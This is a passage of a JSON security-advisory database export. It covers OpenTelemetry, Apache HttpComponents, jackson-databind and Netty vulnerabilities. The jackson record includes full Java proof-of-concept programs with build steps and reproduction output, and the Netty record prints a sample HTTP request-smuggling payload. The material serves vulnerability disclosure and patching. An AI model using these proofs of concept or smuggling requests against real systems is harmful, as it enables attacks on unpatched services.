size limits are configured at the server or gateway level. Most Java HTTP\nservers enforce an 8 KiB header limit by default, which mitigates external attack vectors\nindependently of this fix.\n\n## References\n\n- [W3C Baggage Specification §Limits](https://www.w3.org/TR/baggage/#limits)", "aliases": [ "CVE-2026-45292" ], "modified": "2026-06-09T02:15:07.364273115Z", "published": "2026-05-14T16:36:04Z", "database_specific": { "github_reviewed_at": "2026-05-14T16:36:04Z", "nvd_published_at": "2026-05-28T17:16:32Z", "cwe_ids": [ "CWE-770" ], "severity": "MODERATE", "github_reviewed": true }, "references": [ { "type": "WEB", "url": "https://github.com/open-telemetry/opentelemetry-java/security/advisories/GHSA-rcgg-9c38-7xpx" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45292" }, { "type": "WEB", "url": "https://github.com/open-telemetry/opentelemetry-java/pull/8380" }, { "type": "WEB", "url": "https://github.com/open-telemetry/opentelemetry-java/commit/03837d3c1763bc35464aea1078671e2ef2336a5f" }, { "type": "PACKAGE", "url": "https://github.com/open-telemetry/opentelemetry-java" }, { "type": "WEB", "url": "https://github.com/open-telemetry/opentelemetry-java/releases/tag/v1.62.0" } ], "affected": [ { "package": { "name": "io.opentelemetry:opentelemetry-api", "ecosystem": "Maven", "purl": "pkg:maven/io.opentelemetry/opentelemetry-api" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "1.62.0" } ] } ], "versions": [ "0.10.0", "0.11.0", "0.12.0", "0.13.0", "0.13.1", "0.14.0", "0.14.1", "0.15.0", "0.16.0", "0.17.0", "0.17.1", "0.2.0", "0.2.1", "0.2.4", "0.3.0", "0.4.0", "0.4.1", "0.5.0", "0.6.0", "0.7.0", "0.7.1", "0.8.0", "0.9.0", "0.9.1", "1.0.0", "1.0.1", "1.1.0", "1.10.0", "1.10.0-rc.1", "1.10.0-rc.2", "1.10.1", "1.11.0", "1.12.0", "1.13.0", "1.14.0", "1.15.0", "1.16.0", "1.17.0", "1.18.0", "1.19.0", "1.2.0", "1.20.0", "1.20.1", "1.21.0", "1.22.0", "1.23.0", "1.23.1", "1.24.0", "1.25.0", "1.26.0", "1.27.0", "1.28.0", "1.29.0", "1.3.0", "1.30.0", "1.30.1", "1.31.0", "1.32.0", "1.33.0", "1.34.0", "1.34.1", "1.35.0", "1.36.0", "1.37.0", "1.38.0", "1.39.0", "1.4.0", "1.4.1", "1.40.0", "1.41.0", "1.42.0", "1.42.1", "1.43.0", "1.44.0", "1.44.1", "1.45.0", "1.46.0", "1.47.0", "1.48.0", "1.49.0", "1.5.0", "1.50.0", "1.51.0", "1.52.0", "1.53.0", "1.54.0", "1.54.1", "1.55.0", "1.56.0", "1.57.0", "1.58.0", "1.59.0", "1.6.0", "1.60.0", "1.60.1", "1.61.0", "1.7.0", "1.7.1", "1.9.0", "1.9.1" ], "database_specific": { "last_known_affected_version_range": "<= 1.61.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-rcgg-9c38-7xpx/GHSA-rcgg-9c38-7xpx.json" } }, { "package": { "name": "io.opentelemetry:opentelemetry-extension-trace-propagators", "ecosystem": "Maven", "purl": "pkg:maven/io.opentelemetry/opentelemetry-extension-trace-propagators" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "1.62.0" } ] } ], "versions": [ "0.10.0", "0.11.0", "0.12.0", "0.13.0", "0.13.1", "0.14.0", "0.14.1", "0.15.0", "0.16.0", "0.17.0", "0.17.1", "0.6.0", "0.7.0", "0.7.1", "0.8.0", "0.9.1", "1.0.0", "1.0.1", "1.1.0", "1.10.0", "1.10.0-rc.1", "1.10.0-rc.2", "1.10.1", "1.11.0", "1.12.0", "1.13.0", "1.14.0", "1.15.0", "1.16.0", "1.17.0", "1.18.0", "1.19.0", "1.2.0", "1.20.0", "1.20.1", "1.21.0", "1.22.0", "1.23.0", "1.23.1", "1.24.0", "1.25.0", "1.26.0", "1.27.0", "1.28.0", "1.29.0", "1.3.0", "1.30.0", "1.30.1", "1.31.0", "1.32.0", "1.33.0", "1.34.0", "1.34.1", "1.35.0", "1.36.0", "1.37.0", "1.38.0", "1.39.0", "1.4.0", "1.4.1", "1.40.0", "1.41.0", "1.42.0", "1.42.1", "1.43.0", "1.44.0", "1.44.1", "1.45.0", "1.46.0", "1.47.0", "1.48.0", "1.49.0", "1.5.0", "1.50.0", "1.51.0", "1.52.0", "1.53.0", "1.54.0", "1.54.1", "1.55.0", "1.56.0", "1.57.0", "1.58.0", "1.59.0", "1.6.0", "1.60.0", "1.60.1", "1.61.0", "1.7.0", "1.7.1", "1.9.0", "1.9.1" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-rcgg-9c38-7xpx/GHSA-rcgg-9c38-7xpx.json", "last_known_affected_version_range": "<= 1.61.0" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ] }, { "id": "GHSA-v3jc-474w-2wm6", "summary": "Apache HttpComponents Core: HPackDecoder Unlimited Header List Size Before SETTINGS ACK", "details": "Allocation of resources without limits or throttling in the HTTP/2 HPACK decoder in Apache HttpComponents Core (5.4.2 and earlier, 5.5-beta1 and earlier) allows an remote attacker to cause a denial of service through memory exhaustion by sending oversized compressed header blocks before the HTTP/2 SETTINGS acknowledgement causes the configured header list size limit to be applied.", "aliases": [ "CVE-2026-54428" ], "modified": "2026-09-10T03:51:12.247227504Z", "published": "2026-07-01T18:31:56Z", "database_specific": { "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2026-08-13T18:27:16Z", "nvd_published_at": "2026-07-01T18:16:34Z", "cwe_ids": [ "CWE-400" ] }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54428" }, { "type": "WEB", "url": "https://github.com/apache/httpcomponents-core/commit/1ea1239bbbe3442a8382a87279c0a8119a7e358e" }, { "type": "WEB", "url": "https://github.com/apache/httpcomponents-core/commit/cc30ee058a7b10cbf4ad3dd6270ab6d1f6a74c49" }, { "type": "PACKAGE", "url": "https://github.com/apache/httpcomponents-core" }, { "type": "WEB", "url": "https://lists.apache.org/thread/5zjp8vczvxq19pw2rvhs21q446bhl0sd" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2026/07/01/3" } ], "affected": [ { "package": { "name": "org.apache.httpcomponents.core5:httpcore5-h2", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.httpcomponents.core5/httpcore5-h2" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "5.4.3" } ] } ], "versions": [ "5.0", "5.0-alpha2", "5.0-alpha3", "5.0-alpha4", "5.0-beta1", "5.0-beta10", "5.0-beta11", "5.0-beta2", "5.0-beta3", "5.0-beta4", "5.0-beta5", "5.0-beta6", "5.0-beta7", "5.0-beta8", "5.0-beta9", "5.0.1", "5.0.2", "5.0.3", "5.0.4", "5.1", "5.1-beta1", "5.1-beta2", "5.1-beta3", "5.1.1", "5.1.2", "5.1.3", "5.1.4", "5.1.5", "5.2", "5.2-alpha1", "5.2-alpha2", "5.2-beta1", "5.2-beta2", "5.2.1", "5.2.2", "5.2.3", "5.2.4", "5.2.5", "5.3", "5.3-alpha1", "5.3-alpha2", "5.3-beta1", "5.3.1", "5.3.2", "5.3.3", "5.3.4", "5.3.5", "5.3.6", "5.4", "5.4-alpha1", "5.4.1", "5.4.2" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-v3jc-474w-2wm6/GHSA-v3jc-474w-2wm6.json" } }, { "package": { "name": "org.apache.httpcomponents.core5:httpcore5-h2", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.httpcomponents.core5/httpcore5-h2" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "5.5-alpha1" }, { "fixed": "5.5-beta2" } ] } ], "versions": [ "5.5-alpha1", "5.5-beta1" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-v3jc-474w-2wm6/GHSA-v3jc-474w-2wm6.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ] }, { "id": "GHSA-wjgm-6hv5-3cvf", "summary": "jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution", "details": "### Summary\n\nA `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` → `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`.\n\nImpact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern.\n\n### Description\n\n`NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`):\n\n```java\nint colonIx = value.indexOf(':');\nif (colonIx < 0) { return Path.of(value); }\n...\nfinal URI uri = new URI(value); // attacker-controlled URI string\ntry {\n return Path.of(uri); // resolves scheme -> may load a FileSystemProvider\n} catch (FileSystemNotFoundException cause) {\n final String scheme = uri.getScheme();\n for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {\n if (provider.getScheme().equalsIgnoreCase(scheme)) {\n return provider.getPath(uri); // attacker scheme selects & drives a provider\n }\n }\n // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default)\n}\n```\n\nThe attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.\n\n## Vulnerable Code Location\n\n- `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java`\n - `STD_PATH` → `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body \n (`new URI` → `Path.of(uri)` → `ServiceLoader.load(FileSystemProvider.class)` → `provider.getPath(uri)`).\n\n\n## Proof of Concept\n\nTwo PoCs are provided. \n\n> PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is **PoC 1** — the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction.\n\n**PoC 1 — sink reached (built-in `jar` provider).** \n\n`com/poc/Vuln04_PathProvider.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\nimport java.nio.file.Path;\n\n/**\n * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via\n * Path.of(uri) / ServiceLoader.\n */\npublic class Vuln04_PathProvider {\n public static class Config { public Path workdir; }\n\n public static void main(String[] args) throws Exception {\n ObjectMapper mapper = JsonMapper.builder().build();\n // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.\n String json = \"{\\\"workdir\\\":\\\"jar:file:/tmp/jackson_poc_evil.zip!/x\\\"}\";\n System.out.println(\"Deserializing (default mapper): \" + json);\n try {\n Config c = mapper.readValue(json, Config.class);\n System.out.println(\"Resolved Path = \" + c.workdir + \" (class=\" + (c.workdir==null?\"null\":c.workdir.getClass().getName()) + \")\");\n System.out.println(\"RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue\");\n } catch (Throwable t) {\n System.out.println(\"Throwable during resolution: \" + t.getClass().getName() + \": \" + t.getMessage());\n System.out.println(\"RESULT: VULNERABLE (attacker URI drove provider resolution; threw \" + t.getClass().getSimpleName() + \" inside readValue)\");\n }\n }\n}\n```\n\n**PoC 2 — scheme-selection mechanism demo (custom `FileSystemProvider`).**\nA third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships. \n\n`com/poc/EvilFileSystemProvider.java`:\n```java\npackage com.poc;\n\nimport java.nio.file.*;\nimport java.nio.file.spi.FileSystemProvider;\nimport java.nio.file.attribute.*;\nimport java.net.URI;\nimport java.io.IOException;\nimport java.util.*;\nimport java.util.Set;\nimport java.nio.channels.SeekableByteChannel;\n\n/**\n * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the\n * scheme \"evilscheme\". It stands in for ANY third-party FileSystemProvider present on a real\n * application's classpath. Its static initializer and getPath() record that they executed,\n * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)\n * inside jackson's readValue.\n */\npublic class EvilFileSystemProvider extends FileSystemProvider {\n public static volatile boolean STATIC_INIT_RAN = false;\n public static volatile String GET_PATH_URI = null;\n static { STATIC_INIT_RAN = true; }\n\n @Override public String getScheme() { return \"evilscheme\"; }\n\n @Override public Path getPath(URI uri) {\n GET_PATH_URI = uri.toString();\n System.out.println(\">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: \" + uri);\n // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.\n return java.nio.file.Path.of(System.getProperty(\"java.io.tmpdir\"), \"evilprovider-marker\");\n }\n\n // --- remaining abstract methods: minimal stubs ---\n @Override public FileSystem newFileSystem(URI uri, Map env) { throw new UnsupportedOperationException(); }\n @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }\n @Override public SeekableByteChannel newByteChannel(Path p, Set o, FileAttribute... a) throws IOException { throw new UnsupportedOperationException(); }\n @Override public DirectoryStream newDirectoryStream(Path d, DirectoryStream.Filter f) { throw new UnsupportedOperationException(); }\n @Override public void createDirectory(Path d, FileAttribute... a) { throw new UnsupportedOperationException(); }\n @Override public void delete(Path p) { throw new UnsupportedOperationException(); }\n @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n @Override public boolean isSameFile(Path p, Path p2) { return false; }\n @Override public boolean isHidden(Path p) { return false; }\n @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }\n @Override public void checkAccess(Path p, AccessMode... m) { }\n @Override public V getFileAttributeView(Path p, Class t, LinkOption... o) { return null; }\n @Override public A readAttributes(Path p, Class t, LinkOption... o) { throw new UnsupportedOperationException(); }\n @Override public Map readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }\n @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }\n}\n```\n\nRegistration descriptor —\n`src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider`:\n```\ncom.poc.EvilFileSystemProvider\n```\n\nDriver — `com/poc/Vuln04b_PathProviderMount.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\n\n/**\n * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via\n * META-INF/services (scheme \"evilscheme\") stands in for any provider on a real app's\n * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to\n * (1) load the provider class (running its static initializer) and (2) invoke\n * provider.getPath(attackerUri) -- all inside readValue, with NO application code.\n */\npublic class Vuln04b_PathProviderMount {\n public static class Config { public java.nio.file.Path workdir; }\n\n public static void main(String[] args) throws Exception {\n System.out.println(\"Provider static-init ran before deserialization? \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n ObjectMapper mapper = JsonMapper.builder().build(); // default config\n String json = \"{\\\"workdir\\\":\\\"evilscheme://attacker-controlled/target?x=1\\\"}\";\n System.out.println(\"Deserializing (default mapper): \" + json);\n\n Config c = mapper.readValue(json, Config.class);\n\n System.out.println(\"Resolved Path = \" + c.workdir);\n System.out.println(\"Provider static-init ran: \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n System.out.println(\"Provider.getPath() attacker URI: \" + EvilFileSystemProvider.GET_PATH_URI);\n boolean ok = EvilFileSystemProvider.GET_PATH_URI != null\n && EvilFileSystemProvider.GET_PATH_URI.contains(\"attacker-controlled\");\n System.out.println(ok\n ? \"RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\"\n : \"RESULT: NOT reproduced\");\n }\n}\n```\n\n## Execution Steps\n\nThe PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain `javac`/`java` . PoC 2 additionally requires the `META-INF/services` descriptor to be on the **runtime** classpath\n\n```bash\n# 0. Locate the three published dependency jars.\nM2=\"$HOME/.m2/repository\"\nDB=\"$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar\"\nCORE=\"$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar\"\nANN=\"$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar\"\nCP=\"$DB:$CORE:$ANN\"\n\n# 1. Compile the three sources.\ncd poc-project\nmkdir -p out\njavac -cp \"$CP\" -d out \\\n src/main/java/com/poc/EvilFileSystemProvider.java \\\n src/main/java/com/poc/Vuln04_PathProvider.java \\\n src/main/java/com/poc/Vuln04b_PathProviderMount.java\n\n# 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).\nmkdir -p out/META-INF/services\ncp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \\\n out/META-INF/services/java.nio.file.spi.FileSystemProvider\n\n# 3. Run both PoCs.\njava -cp \"out:$CP\" com.poc.Vuln04_PathProvider # PoC 1\njava -cp \"out:$CP\" com.poc.Vuln04b_PathProviderMount # PoC 2\n```\n\n## Reproduction Evidence\n\nExecuted against jackson-databind 3.2.1 (OpenJDK 25).\n\n**PoC 1 :**\n```\nDeserializing (default mapper): {\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}\nThrowable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException`\n at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config[\"workdir\"])\nRESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue)\n```\nNotes: the JDK **built-in** `jar` provider's `getPath` does not auto-mount (it also throws `FileSystemNotFoundException`, since only `newFileSystem` mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven `ServiceLoader` resolution during `readValue` with no allow-list. PoC 2 only illustrates the downstream mechanism.\n\n**PoC 2 :**\n```\nProvider static-init ran before deserialization? true\nDeserializing (default mapper): {\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}\n>>> [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1\nResolved Path = /var/folders/.../T/evilprovider-marker\nProvider static-init ran: true\nProvider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1\nRESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\n```\nPurely from a JSON string, jackson's `ServiceLoader` fallback selected the attacker-named scheme's provider and invoked `provider.getPath(uri)` with the full attacker URI inside `readValue`. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs.\n\n## Impact\n\nUntrusted JSON drives `provider.getPath(attackerURI)` on an attacker-chosen provider during `readValue`. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the\nscheme-restriction gap.\n\n## Recommended Fix\n\n1. **Restrict the resolved scheme to a fixed, hard-coded set** ; reject `jar:` and other schemes via `ctxt.handleWeirdStringValue(...)`. A hard-coded set keeps the fix backport-safe with no new configuration surface.\n2. **Skip the `ServiceLoader` enumeration for disallowed schemes**, so untrusted JSON cannot select and drive an arbitrary registered provider.\n3. Document that `java.nio.file.Path`-typed fields should not be bound from untrusted JSON.", "aliases": [ "CVE-2026-19032" ], "modified": "2026-09-28T20:30:05.331167692Z", "published": "2026-09-28T20:19:19Z", "database_specific": { "nvd_published_at": "2026-09-01T04:18:00Z", "cwe_ids": [ "CWE-470", "CWE-610" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2026-09-28T20:19:19Z" }, "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-wjgm-6hv5-3cvf" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19032" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6129" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/cc6756b61ed90b6b9227f670e0408d5d9bd48551" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/ce26eda3481cd796f76ba4c53ffe1da23b53f166" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/d94bb632becfe0ba96926b9909ab06d1f87aad6d" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2" } ], "affected": [ { "package": { "name": "tools.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.6" } ] } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" } }, { "package": { "name": "tools.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.2" } ] } ], "versions": [ "3.2.0", "3.2.1" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.8.0" }, { "fixed": "2.18.10" } ] } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9", "2.8.0", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.6" } ] } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.2" } ] } ], "versions": [ "2.22.0", "2.22.1" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ] }, { "id": "GHSA-wm47-8v5p-wjpj", "summary": "Possible request smuggling in HTTP/2 due missing validation", "details": "### Impact\nIf a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1.\nIf the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. \n\nIn a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked.\n\nAn attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like:\n\n```\nPOST / HTTP/2\n:authority:: externaldomain.com\nContent-Length: 4\n\nasdfGET /evilRedirect HTTP/1.1\nHost: internaldomain.com\n```\n\nUsers are only affected if all of this is `true`:\n * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used\n * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects\n * These HTTP/1.1 objects are forwarded to another remote peer.\n \n\n### Patches\nThis has been patched in 4.1.60.Final\n\n### Workarounds\nThe user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`.\n\n### References\nRelated change to workaround the problem: https://github.com/Netflix/zuul/pull/980 ", "aliases": [ "BIT-zookeeper-2021-21295", "CVE-2021-21295" ], "modified": "2026-09-10T03:48:43.368978975Z", "published": "2021-03-09T18:49:49Z", "related": [ "CVE-2021-21409" ], "database_specific": { "cwe_ids": [ "CWE-444" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2021-03-09T18:47:09Z", "nvd_published_at": "2021-03-09T19:15:00Z" }, "references": [ { "type": "WEB", "url": "https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21295" }, { "type": "WEB", "url": "https://github.com/Netflix/zuul/pull/980" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/89c241e3b1795ff257af4ad6eadc616cb2fb3dc4" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rc73b8dd01b1be276d06bdf07883ecd93fe1a01f139a99ef30ba4308c@%3Ccommits.servicecomb.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rc165e36ca7cb5417aec3f21bbc4ec00fb38ecebdd96a82cfab9bd56f@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rc0087125cb15b4b78e44000f841cd37fefedfda942fd7ddf3ad1b528@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": 